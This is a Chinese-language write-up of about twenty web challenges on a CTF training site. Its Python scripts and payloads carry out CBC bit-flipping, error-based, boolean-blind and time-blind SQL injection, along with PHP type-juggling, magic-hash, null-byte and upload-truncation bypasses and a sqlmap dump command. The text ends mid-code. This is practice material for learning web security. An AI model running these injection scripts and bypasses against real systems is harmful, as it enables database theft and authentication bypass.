2018-11-02-[实验吧]-web-writeup

一.简单的登录题
进入首页以后是一个登录框
然后抓包的时候发现一个小提示:


p2

然后直接get这个文件下来看看.
其中test.php的源代码如下所示:

define("SECRET_KEY", '***********');#秘钥
define("METHOD", "aes-128-cbc");#cbc模式,一个模块加密以后拿去与下一个模块异或,然后下一个模块再加密
error_reporting(0);#设置错误报告等级,关掉所有的错误报告
include('conn.php');
function sqliCheck($str){
    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
        return 1;
    }
    return 0;
}#sql注入检查
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;#生成随机iv
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);#明文先进行序列化
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);#进行加密
    setcookie("iv", base64_encode($iv));#iv进行编码以后放在cookie里面
    setcookie("cipher", base64_encode($cipher));#cipher进行加密以后放在cookie里面
}
function show_homepage(){
    global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){#检查cookie里面这两个值是不是
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){#尝试解密
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");#解密后反序列化
            $sql="select * from users limit ".$info['id'].",0";#limit的用法是只查这一个用户开始之后偏移量为0的数据
            $result=mysqli_query($link,$sql);
            
            if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
                $rows=mysqli_fetch_array($result);
                echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
            }
            else{
                echo '<h1><center>Hello!</center></h1>';
            }
        }else{
            die("ERROR!");
        }
    }
}
if(isset($_POST['id'])){#如果id不为空,检查并接收id
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
        die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);#创建一个数组
    login($info);#这样的话其实就是拿id来加密了.....
    echo '<h1><center>Hello!</center></h1>';
}else{#如果id为空,就检查iv以及cipher,不为空就进行检查
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
        show_homepage();
    }else{#啥都没有就相当于重新刷新首页
        echo '<body class="login-body" style="margin:0 auto">
                <div id="wrapper" style="margin:0 auto;width:800px;">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">
                        <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <p><input type="submit" name="submit" value="Login" class="button" /></p>
                        </div>
                    </form>
                </div>
            </body>';
    }
}

看了源代码发现这是个aes-128-cbc模式加密代码.
截取一个包看看


p3

可以看到有ID的话其实只会显示hello,我们要进行sql查询flag就不能有id,但要有iv和cipher....
接下来看看大佬的解决方案怎么写的,代码如下:

# -*- coding:utf8 -*-

from base64 import *
import urllib
import requests
import re

def denglu(payload,idx,c1,c2):

    url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'

    payload = {'id': payload}#ID是payload

    r = requests.post(url, data=payload)发送post包出去,经测试赋值的时候就会出去了

    Set_Cookie=r.headers['Set-Cookie']

    iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]#取下iv

    cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]#取下cookie

    iv_raw = b64decode(urllib.unquote(iv))#解码

    cipher_raw=b64decode(urllib.unquote(cipher))#解码,unquote是把一些特殊字符的转义给解析回来

    lst=list(cipher_raw)

    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))

    cipher_new=''.join(lst)

    cipher_new=urllib.quote(b64encode(cipher_new))

    cookie_new={'iv': iv,'cipher':cipher_new}

    r = requests.post(url, cookies=cookie_new)

    cont=r.content#r.content是返回包的内容

    plain = re.findall(r"base64_decode\('(.*?)'\)", cont)[0]

    plain = b64decode(plain)#解密明文

    first='a:1:{s:2:"id";s:'

    iv_new=''

    for i in range(16):

        iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))

    iv_new = urllib.quote(b64encode(iv_new))

    cookie_new = {'iv': iv_new, 'cipher': cipher_new}

    r = requests.post(url, cookies=cookie_new)

    rcont = r.content

    print rcont#做两次是为啥

denglu('12',4,'2','#')

denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')#开始进行sql查询,这里可能需要加密知识不是很懂...

denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')

denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')

denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')

这里涉及加密的内容,以后补上吧....

二.后台登录
进去了以后直接f12,看到提示

 $password=$_POST['password'];
    $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
    $result=mysqli_query($link,$sql);
        if(mysqli_num_rows($result)>0){
            echo 'flag is :'.$flag;
        }
        else{
            echo '密码错误!';
        } 

可以看到输入的点只有password一个,然后进行了md5加密.
这里科普一下php的md5函数.

Selection_001.png

运行实例如下:
Selection_001.png

可以看到raw这个参数是用来控制输出格式的,True的时候输出是16进制转字符串的结果,false的时候是输出普通16进制的结果.
那也就是说要直接有某个字符串,md5后转换为16进制包含' or '就可以了.
Google了一波,发现已经有人发现这样的字符串了:ffifdyop
操作如下:
Selection_002.png

flag就出来了.

三.加了料的报错注入
这道题一上来就是要你post username以及password然后直接上


p3

直接抓包的话是Get请求,所以需要在hackbar里面填数据,经过测试发现username以及password都是有注入点的.接着进行注入点fuzz测试一下过滤了哪些,发现username过滤了()等符号,但是没有过滤updatexml,password过滤了updatexml
于是可以利用这种不同地方过滤规则不一样的漏洞,通过http分割注入来进行get flag.


p4
payload:' and updatexml/*&password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1

可以get到数据库名称是error_based_hpf
接着利用这种分割注入(其实就是加入注释符号而已....)
然后就是查询表明,数据库名已经知道了,所以直接上payload:

payload:1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where (table_schema regexp binary '^error_based_hpf') ),0x7e),3)or'1

这里过滤了=,所以不能直接指定数据库,大佬说用like或者regexp代替,我试了一下like被过滤了,绕过方法可真是多种多样...


p5

[图片上传中...(Selection_001.jpg-bc5522-1550628832873-0)]
然后就是知道两个表是ffll44jj,users
接着获取列.

payload:username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where (table_schema regexp binary '^error_based_hpf') and (table_name regexp binary '^ffll44jj') ),0x7e),3)or'1
p6

然后查数据

payload:username=' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1
p7

最终获取flag{err0r_b4sed_sqli_+_hpf}

四.认真一点
该题目首页如下:


p8

检测结果是空格会被过滤,空格过滤那就是用括号或者注释符来代替
逗号被过滤,直接sql detected,这里大佬说用from for可以代替,学一波,经测试是直接可以select mid(database() from(1) for(5))#选择数据库名称1到5位置的字符
然后if没被过滤,等于号没被过滤,然后学习一波大佬的盲注脚本

import requests;
import string

url='http://ctf5.shiyanbar.com/web/earnest/index.php'
s=requests.session()

ascii=string.printable

def exploit(payload):
    payload=payload.replace(' ',chr(0x0a));
    flag=''
    for i in range(1,20):
        for j in ascii:
            temp=j;
            data={'id':payload.format(i,temp)};
            html=s.post(url,data=data);

            if "You are in" in html.content.decode('utf-8'):
                if j=='*':
                  j=' '
                flag+=j;
                print(flag);
                break;

if __name__=='__main__':
    exploit("0'oorr(mid(database()from({})foorr(1))='{}')oorr'0");#ctf_sql_bool_blind database name
    exploit("0'oorr((select(mid(group_concat(table_name)from({})foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='{}')oorr'0")
    exploit("0'oorr((select(mid(group_concat(column_name)from({})foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='{}')oorr'0")
    exploit("0'oorr((select(mid((fl$4g)from({})foorr(1)))from(fiag))='{}')oorr'0")

这里第一的exploit是获取数据库名的,其中的{}老是看不明白,最后debug才发现原来是留白给后面format填充的.


p9

这个最好自己写一遍.....才明白啥意思
整理一下盲注脚本的思路就是不断用mid函数注入出来一个字母再比对这个字母是啥就可以了.
总结下那个盲注的思路就是利用mid函数探测每一个字符,通过一个个字符探测最后把那个flag名称拼接起来。
五.你真的会PHP吗


p10

然后就上burp发现一个hint...
p11

直接访问以后是一些php代码,应该是考php代码审计。。。

<?php


$info = ""; 
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false); 
error_reporting(0); 


if(!isset($_POST['number'])){
   header("hint:6c525af4059b4fe7d8c33a.txt");

   die("have a fun!!"); 
}

foreach([$_POST] as $global_var) { 
    foreach($global_var as $key => $value) { 
        $value = trim($value); 
        is_string($value) && $req[$key] = addslashes($value); 
    } 
} 


function is_palindrome_number($number) { 
    $number = strval($number); #Convert any scalar value (string, integer, or double) to a string. 
    $i = 0; 
    $j = strlen($number) - 1; 
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 


if(is_numeric($_REQUEST['number'])){
    
   $info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){
      
     $info = "number must be equal to it's integer!! ";  

}else{

     $value1 = intval($req["number"]);#. intval()函数. 作用:. 获取变量的整数值.
     $value2 = intval(strrev($req["number"]));  

     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }else{
          
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }else{
             $info=$flag;
          }
     }

}

echo $info;

从代码审计中可以看出,首先number域不能为空,然后就是不能为纯数字,有is_numeric来判断,然后就是不能为一个回文数,这个是由is_palindrome_number来判断(PS:数字的特点是正反序是同一个数字),最后该数的翻转的整数值应该等于它本身的整数值,最后构建payload:0e-0%00....%00是用来绕过那个isnumber检查的
注意发送数据的时候要改成post不用get方法.


p12

六.登陆一下好嘛
这道题提示要用万能密码绕过,但是过滤了很多玩意..


p13

然后就是常见的fuzz,这里我自己写了个测试fuzz的框架,可以测试特殊字符哪些被过滤了.
import requests;
import string

url='http://ctf5.shiyanbar.com/web/wonderkun/web/login.php'
s=requests.session()

ascii=string.printable

def exploit_test(payload):
    data = {'username':payload, 'password':'admin'};
    headers={
        'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
        'Referer':'http://ctf5.shiyanbar.com/web/wonderkun/web/index.html',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5'
    };
    html=s.post(url,data=data,headers=headers);
    r=html.content.decode("utf-8");
    #print(r);
    if 'username:'+payload+'</br>' in r:
        pass;
    else:
        print(payload+' was pass');

if __name__=='__main__':
    for i in ascii:
        exploit_test(i);
测试结果是:
# was pass
* was pass
/ was pass
| was pass

所有ascii中这四个字符被过滤了,然后就是各种常见的sql注入函数,懒得搞看看别人的writeup说or,union,select也一样被过滤,所以'就没被过滤喽...
学一个新的万能密码:''=',如图


p14
select * from table where username= '''='' and password='''=''

所以到底这是啥意思,一脸懵逼,这里是直接绕过两个限制吗?那其他部分不报错?
七.Who You Are
这道感觉是日志污染?


p15

然后直接使用x-forwarded-for字段来污染,因为该字段会记录我们的ip地址给他.记住一句话,要发送数据一定要转成post方法....
然后就是fuzz阶段,测到如果是加了','以及后面的内容会被过滤,记得前面代替,的是mid from for.这道题考的是基于时间的盲注来着.直接上盲注脚本,这里学习一波case when then语句,先上一份找数据库名代码...

import requests;
import string;
import time;

url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
s=requests.session()

ascii=string.printable

def exploit_test(payload):
    #data = {'username':payload, 'password':'admin'};
    flag='';
    try1=0;
    for i in range(1,5):#这里是建立在已知长度为4的情况下
        for j in ascii:
            headers = {
                'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                'Accept-Language': 'en-US,en;q=0.5',
                'x-forwarded-for': payload.format(i,j)
            };
            start_time = time.time();
            html = s.post(url, headers=headers);
            r = html.content.decode("utf-8");
            end_time = time.time();
            if end_time - start_time > 8:
                print('Now i is %s\n'%i);
                flag+=j;
                print('Flag:%s'%flag);
                break;
            else:
                try1+=1;
                print('%s+%s'%(try1,j));


if __name__=='__main__':
        exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");#判断数据库名称为web4
p16

探索表数量代码如下:

import requests;
import string;
import time;

url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
s=requests.session()

ascii=string.printable

def exploit_test(payload):
    #data = {'username':payload, 'password':'admin'};
    flag='';
    try1=0;
    for i in range(1,7):
        for j in ascii:
            headers = {
                'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                'Accept-Language': 'en-US,en;q=0.5',
                'x-forwarded-for': payload.format(j)
            };
            start_time = time.time();
            html = s.post(url, headers=headers);
            r = html.content.decode("utf-8");
            end_time = time.time();
            if end_time - start_time > 8:
                print('Now table number is %s\n'%j);
                flag+=j;
                #print('Flag:%s'%flag);
                break;
            else:
                try1+=1;
                print('%s+%s'%(try1,j));


if __name__=='__main__':
        #exploit_test("1' and case when (substring((select database()) from '{}' for 1)='{}') then sleep(10) else sleep(0) end and '1'='1");
        exploit_test("1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = {}) then sleep(10) else sleep(0) end and '1'='1");

经过探测表数量为2
总体过程如下:

判断数据库名称长度 1' and case when (length((SELECT concat(database())))&lt;5) then sleep(3) else sleep(0) end and '1'='1,此句如果执行有延迟,则说明数据库名称小于5个字符,使用&lt;4的时候,执行不成功,说明数据库长度为4个字符。
判断数据库名的各个字符,&quot;1' and case when (substring((select database()) from %s for 1)='%s') then sleep(5) else sleep(0) end and '1'='1&quot;%(i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,从此句可判断数据库名为web4
查看数据库中表单的数量,1' and case when ((select count(TABLE_NAME) from information_schema.tables where table_schema='web4') = 2) then sleep(3) else sleep(0) end and '1'='1;此句判断数据库中有两个表。
判断数据库表名长度,&quot;1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a&quot; % (i),其中i为长度。
判断数据库表名,&quot;1' and case when(ascii(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a&quot; % (i,each),其中ii为从第i个字符开始,for 1为取一个字符,each为ascii,找到表flag。
判断表flag字段,&quot;1' and case when(ascii(substring((select group_concat(column_name separator ';') from information_schema.columns where table_name='flag') from %s for 1))=%s) then sleep(6) else 0 end and 'a'='a&quot; % (i,each),得到字段flag。
判断表flag,字段flag中内容长度,&quot;1' and case when(length(substring((select group_concat(flag separator ';') from flag) from %s for 1))='') then sleep(6) else 0 end and 'a'='a&quot; %i。
获取flag值,&quot;1' and (select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(10) else sleep(0) end ) and '1'='1&quot;%(i,str)。

八.因缺思汀的绕过
web题目的思路,看源码,看请求,看响应...
源码里看到一个source.txt


p17

所以直接请求这个文件看看

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水�载舟,亦�赛艇�";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦�赛艇�";
    }
}else{
    print "一颗赛艇�";
}
mysql_close($con);
?>

看源码可以知道一共有三个绕过条件

  1. $filter = "and|select|from|where|union|join|sleep|benchmark|,|(|)";整个条件使用正则表达式来匹配,然后直接绕过就可以了(' or '1'#)
  2. if (mysql_num_rows($query) == 1) 这个是限制查询出来的数据只有一个数据列,使用limit 1就可以了.
  3. if(key['pwd'] ==_POST['pwd'])这个要求我们post的pwd字段和目的结果集中的查询结果要一致,大佬们说用group by with rollup来解决这问题,使用这语句以后会在结尾插入一个null,然后使用limit offset语句来查询这个null,产生null=null的结果从而绕过该限制...
    payload:uname=1' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
    p18

    九:简单的sql注入之3
    这道题莫名其妙的,fuzz之后出现各种结果,不过要收集好的fuzz材料也是必须的...
    然后看了一下说是空格做了特别处理,想起sqlmap的space2comment脚本,直接获取flag
sqlmap -r 44.txt -script=space2comment --dump -T flag -D web1
p19

十.天下武功唯快不破
这道题目的思路就是http返回包里有一个flag,经过base64编码的,然后获取这个flag解码以后变成key:flag.b64decode post出去,然后直接获取真正的flag回来就行了,代码如下:

import requests
import base64
url = "http://ctf5.shiyanbar.com/web/10/10.php" # 目标URL

response = requests.post(url,data={"key":"1"}) # 打开链接
flag =str(base64.b64decode((response.headers['FLAG']))).split(':')[1].rstrip("'")

# head = response.headers # 获取响应头
# flag = base64.b64decode(head['flag']) # 获取相应头中的Flag
print(flag) # 打印Flag
postData = {'key': flag} # 构造Post请求体
result = requests.post(url=url, data=postData) # 利用Post方式发送请求
# (注意要在同一个Session中 , 有的时候还需要设置Cookies , 但是此题不需要)
print(result.text) #

十一.让我进去
这道题一上来直接看源码,没发现啥,然后看请求响应也没看出啥,一脸懵逼,最后直接看了看writeup发现是修改cookie参数,我去....


p20

然后直接获取源码看下:

$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

看下来要获取flag有几个条件...
1是账号为admin,密码不应该是admin,二是用户名密码加盐值,md5之后的数值应该和cookie领域getmein的值相等,网上说这道题目是做所谓的hash长度拓展攻击.
不说了文章看的一脸懵逼,密码学钻进去也是深的一撇.....
所以学大佬最简单的方法....


p21

还是一脸闷逼...

十二.拐弯抹角
首页直接给了一段源代码,如下:

<?php 
// code by SEC@USTC 
echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>'; 

$URL = $_SERVER['REQUEST_URI']; 
//echo 'URL: '.$URL.'<br/>'; 
$flag = "CTF{???}"; 

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php')); 
$stop = 0; 

//这道题目本身也有教学的目的 
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的 
//所以,第一个要求就是不得出现 ./ 
if($flag && strpos($URL, './') !== FALSE){ 
    $flag = ""; 
    $stop = 1;        //Pass 
} 

//第二,我们可以构造 \ 来代替被过滤的 / 
//所以,第二个要求就是不得出现 ../ 
if($flag && strpos($URL, '\\') !== FALSE){ 
    $flag = ""; 
    $stop = 2;        //Pass 
} 

//第三,有的系统大小写通用,例如 indirectioN/ 
//你也可以用?和#等等的字符绕过,这需要统一解决 
//所以,第三个要求对可以用的字符做了限制,a-z / 和 . 
$matches = array(); 
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches); 
if($flag && empty($matches) || $matches[1] != $URL){ 
    $flag = ""; 
    $stop = 3;        //Pass 
} 

//第四,多个 / 也是可以的 
//所以,第四个要求是不得出现 // 
if($flag && strpos($URL, '//') !== FALSE){ 
    $flag = ""; 
    $stop = 4;        //Pass 
} 

//第五,显然加上index.php或者减去index.php都是可以的 
//所以我们下一个要求就是必须包含/index.php,并且以此结尾 
if($flag && substr($URL, -10) !== '/index.php'){ 
    $flag = ""; 
    $stop = 5;        //Not Pass 
} 

//第六,我们知道在index.php后面加.也是可以的 
//所以我们禁止p后面出现.这个符号 
if($flag && strpos($URL, 'p.') !== FALSE){ 
    $flag = ""; 
    $stop = 6;        //Not Pass 
} 

//第七,现在是最关键的时刻 
//你的$URL必须与/indirection/index.php有所不同 
if($flag && $URL == '/indirection/index.php'){ 
    $flag = ""; 
    $stop = 7;        //Not Pass 
} 
if(!$stop) $stop = 8; 

echo 'Flag: '.$flag; 
echo '<hr />'; 
for($i = 1; $i < $stop; $i++) 
    $code = str_replace('//Pass '.$i, '//Pass', $code); 
for(; $i < 8; $i++) 
    $code = str_replace('//Pass '.$i, '//Not Pass', $code); 
echo highlight_string($code, TRUE); 
echo '</body></html>';

这道题题目说的很明显了,就是要你访问/index.php,然后有几个要求,一个是不能出现../,./等各种跳字节符号,一个是只能用小写字母,一个是不能出现注释符,一个是不能与/indirection/index.php相同,最后是不能在index.php后面加' . '.所以构造一个index.php/index.php就可以了.


p22

这里介绍一下伪静态技术,就是把一些动态网站的url映射成静态的资源,当访问静态资源时后台自动解析洞动态的,这样是为了提高搜索引擎的seo权重...

十四.Forms
这道题目是很简单的做法,直接修改包头数据字段展示源代码就知道了


p23

那就直接告诉你pin的密码了,直接赋值给PIN就行了。。。。

十五:天网管理系统
这道题目做法也是直接隐藏在网络分组里面了,所以直接看分组


p24

提示我们要直接填充一个username,使得username md5后的值可以0匹配,网上一波搜索说是以oe开头的md5值就好随手找了一个。。。s155964671a


p25

出现一个新的url,所以直接访问出现一个代码。。。
p26

所以直接看到要对所谓的password字段做一个所谓的反序列化,使得出来的user字段和pass字段等于某个值,但是没说是什么值,所以看了writeup说是PHP中bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。(a代表array,s代表string,b代表bool,而数字代表个数/长度)

构造password值为: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}


p27

赶脚PHP还是要好好学学。。。。。

十六:忘记密码了
这题首页要求输入邮箱,给了邮箱有给出step2.php的URL,访问URL又自动跳入step1.php的页面输入邮箱,所以只能抓包看看所谓step2.php代码有没有了,代码如下:

Frame 198: 334 bytes on wire (2672 bits), 334 bytes captured (2672 bits) on interface 0
Ethernet II, Src: Netgear_03:8a:d1 (e0:91:f5:03:8a:d1), Dst: AsixElec_be:23:02 (00:0e:c6:be:23:02)
Internet Protocol Version 4, Src: 106.2.25.10, Dst: 192.168.1.29
Transmission Control Protocol, Src Port: 80, Dst Port: 55251, Seq: 1449, Ack: 429, Len: 268
[2 Reassembled TCP Segments (1716 bytes): #197(1448), #198(268)]
Hypertext Transfer Protocol
    HTTP/1.1 200 OK\r\n
    Date: Tue, 02 Apr 2019 06:45:42 GMT\r\n
    Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29\r\n
    X-Powered-By: PHP/5.3.29\r\n
    Content-Length: 1511\r\n
    Connection: close\r\n
    Content-Type: text/html\r\n
    \r\n
    [HTTP response 1/1]
    [Time since request: 0.040935000 seconds]
    [Request in frame: 196]
    [Request URI: http://ctf5.shiyanbar.com/10/upload/step2.php?email=youmail@mail.com&check=???????]
    File Data: 1511 bytes
Line-based text data: text/html (55 lines)
    <br />\n
    <b>Notice</b>:  Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>2</b><br />\n
    <br />\n
    <b>Notice</b>:  Use of undefined constant check - assumed 'check' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>5</b><br />\n
    <meta http-equiv=refresh content=0.5;URL="./step1.php">check error!<!DOCTYPE html>\n
    <html>\n
    <head>\n
    \t<meta charset="utf-8" />\n
    \t<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />\n
    \t<meta name="renderer" content="webkit" />\n
    \t<meta name="admin" content="admin@simplexue.com" />\n
    \t<meta name="editor" content="Vim" />\n
    \t<title>logic</title>\n
    \t<style type="text/css">\n
    \t\tbody,html{\n
    \t\t\tposition: relative;\n
    \t\t\theight: 100%;\n
    \t\t\twidth: 100%;\n
    \t\t\tpadding: 0;\n
    \t\t\tmargin: 0;\n
    \t\t\tbackground-color: #272822;\n
    \t\t\tcolor: #fff;\n
    \t\t}\n
    \t\tform{\n
    \t\t\tposition: absolute;\n
    \t\t\ttop: 50%;\n
    \t\t\tleft: 50%;\n
    \t\t\twidth: 400px;\n
    \t\t\tmargin: -70px -200px;\n
    \t\t}\n
    \t\tform input{\n
    \t\t\tdisplay: block;\n
    \t\t\tmargin: 10px auto;\n
    \t\t\twidth: 100%;\n
    \t\t\tborder: none;\n
    \t\t\theight: 2rem;\n
    \t\t\tborder-radius: 5px;\n
    \t\t}\n
    \t</style>\n
    </head>\n
    <body>\n
    \t<form action="submit.php" method="GET">\n
    \t\t<h1>\346\211\276\345\233\236\345\257\206\347\240\201step2</h1>\n
    \t\temail:<input name="emailAddress" type="text" <br />\n
    <b>Notice</b>:  Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>49</b><br />\n
    value="youmail@mail.com"  disable="true"/></br>\n
    \t\ttoken:<input name="token" type="text" /></br>\n
    \t\t<input type="submit" value="\346\217\220\344\272\244">\n
    \t</form>\n
    </body>\n
    </html>\n
    \n
    \n
    \n
    \n

可以看到他提交表格给了submit.php,但是无法直接访问submit.php。。。


p28

但是前面抓包的过程中有看到它提示编辑器是使用vim,联想到vim是使用交换文件的,于是构造交换文件.submit.php.swp,可以直接获取submit.php源码。。


p29

可以看到判断代码是要求token十位,并且必须是为0,那就0000000000就行了。。。还有必须是管理员邮箱。。
p30

十七: Once More
这道题目需要好好学习一下代码审计知识。。。

<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}
?>

这道题目有三个限制条件,一个是不能出现非数字字母字符,一个是长度小于8且数字值要比9999999大,一个是必须包含-,然后看了writeup,发现ereg存在截断字符%00漏洞,所以直接构造payload:1e8%00-就直接获取flag了。。。

十八:Guess Next Session
这道题也是一道代码审计题目。。。

<?php
session_start(); 
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

看条件可知道,只要删除session,password也设置为空,就可以造成相等,达到效果。。。
所以。。


p31

所以直接修改session值,上面字段为空就行了。。。

十九:FALSE
这道代码审计要搞sha1碰撞,膜拜大佬。。。
我看了一下真正碰撞,只有Google搞出来下,但是需要PDF格式,这时候看看所谓的sha1函数,发现传入参数的格式应该是字符串类型,传入其他类型会导致输出false,还有这种操作。。。
构造payload:name[]=a&password[]=b就行了。。

二十:上传绕过
这道题目考得是用0x00来截断解决php不能上传的问题。。


p32

如何做呢,就是直接在uploads/后面加一个1.php+,然后切换到16进制把+的16进制改为00就行了。。这种截断还真是多。。

二十一:NSCTF


p33

这是一道解密题目,密码函数直接贴出来了,下面直接上我这段时间苦练的python功底了。。

import base64;
import codecs;


if __name__=='__main__':
    str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
    str=codecs.decode(str,'rot_13');
    str=str[::-1];
    str=base64.b64decode(str);
    c='';
    for i in str:
        i=i-1;
        c=c+chr(i);
    print(c[::-1]);

二十二: 程序逻辑问题
这道题目源代码在网页源码里,如下:

<?php


if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********, "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
